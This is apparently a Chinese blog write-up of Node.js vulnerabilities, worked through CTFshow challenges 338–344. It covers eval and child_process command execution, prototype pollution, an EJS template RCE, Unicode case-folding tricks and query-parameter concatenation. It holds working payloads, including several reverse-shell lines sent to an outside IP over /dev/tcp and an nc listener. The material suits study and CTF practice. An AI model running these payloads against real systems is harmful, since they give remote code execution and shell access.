nodejs常见漏洞小结

前言

近期开始对nodejs做了一个学习,先是花了些时间去菜鸟教程大致看了一下nodejs的一些基础知识,然后也看了一些文章,做了一些题目,这里做个简单的小结吧。

eval执行问题

nodejs里面也有eval函数,和php一样,可以把语句当代码进行执行,所以我们可以利用一下命令执行的模块来执行我们的系统命令:

require("child_process").execSync('ls')

require( 'child_process' ).spawnSync( 'ls', [ '/' ] ).stdout.toString()

挺多的,有时候上下文不能利用require ,我们可以:

global.process.mainModule.constructor._load('child_process').exec('calc')

原型链污染

原型链污染是nodejs常考的点,关于原理P神的文章分析的很清楚了,这里不做过多的分析了,传送门:

https://www.freebuf.com/articles/web/200406.html 核心就是找到 undefined的变量,我们想办法去一层一层上溯,去污染最顶层。

CTFshow338题

这里我们找到 login.js 这个路由发现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
module.exports = router;

这里我们看到当 secert.ctfshow ===36dboy 会返回flag .而ctfshow这个变量是为被定义的,而这里存在 utils.copy 函数,我们跟进看到:

1
2
3
4
5
6
7
8
9
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}

明显的赋值操作,所以这里我们构造:

{"__proto__":{"ctfshow":"36dboy"}} 即可

CTFshow339题

339和338题源码大同小异,这里多了一个新的路由 api.js 我们先来看看 login.js 路由的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow===flag){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});

这里得保证 secert.ctfshow 的值为flag变量的值,但是我们无法得知flag的值,直接污染ctfshow的值没什么意义,但是我们看到api.js路由里的代码:

1
2
3
4
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});
});

我们可以看到这里,有一个function和query,我们可以污染query的值,然后配合function来执行系统命令。我们构造的代码为:

{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').execSync('cat routes/login.js')"}}

向/login post payload 造成原型链污染,然后POST访问 /api 触发。

一开始没成功打出来,有几个原因,抓包修改的时候,Content-Type 那里得改成 application/json

然后注意这里的路由,访问 /login 和 /api 都只支持 post方法。

当然这里的命令执行咱们也可以弹shell:

{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/106.54.90.137/6666 0>&1\"')"}} ,触发方式和上面一样,只是vps 需要监听一下 : nc -lvnp 6666 这里一开始我用 nc -lvvp 是监听不到的。

CTFshow340题

这个题目和339题差不多,区别在于 /login 路由那里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
res.end(flag);
}else
{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
});

这里是对 user.userinfo 进行赋值,所以我们需要向上污染两级,本地测试一下:

node1.png

可以看到一级并没有污染到顶层,我们再向上污染一级:

node2.png

所以最后的payload:

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').execSync('cat routes/login.js')"}}}

同理也可以反弹shell

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/106.54.90.137/6666 0>&1\"')"}}}

ejs rce

网上大佬对ejs模板审计出来的一个rce,payload:

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/106.54.90.137/6666 0>&1\"');var __tmp2"}}} ,这里直接反弹shell了,命令可以改成其他的,然后随便访问一下即可触发rce 。

这个地方也是利用了原型链污染。

这个审计目前来说看的比较懵逼。

nodejs其他模板也存在Rce

其他trick

字符转换问题

在nodejs里面,有一些比较特殊的函数,比如 toUpperCase()字符"ı"、"ſ" 经过toUpperCase处理后结果为 "I"、"S"

对于toLowerCase()字符"K"经过toLowerCase处理后结果为"k"(这个K不是K)

利用这个特性,有时候可以绕过一些限制。

&符号处理

来看一道ctfshow的第344题:

1
2
3
4
5
6
7
8
9
10
11
12
13
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}
});

这里正常我们需要传参?query={"name":"admin","password":"ctfshow","isVIP":"true"} 但是这里把逗号给过滤了。

payload:?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true} nodejs会把这三部分给拼接起来,这里对c进行url编码,因为避免和前面双引号 %22和c 匹配到正则。

小结

nodejs还有一些其他利用方式,比如反序列化,vm沙箱逃逸,还没遇到,遇到在总结吧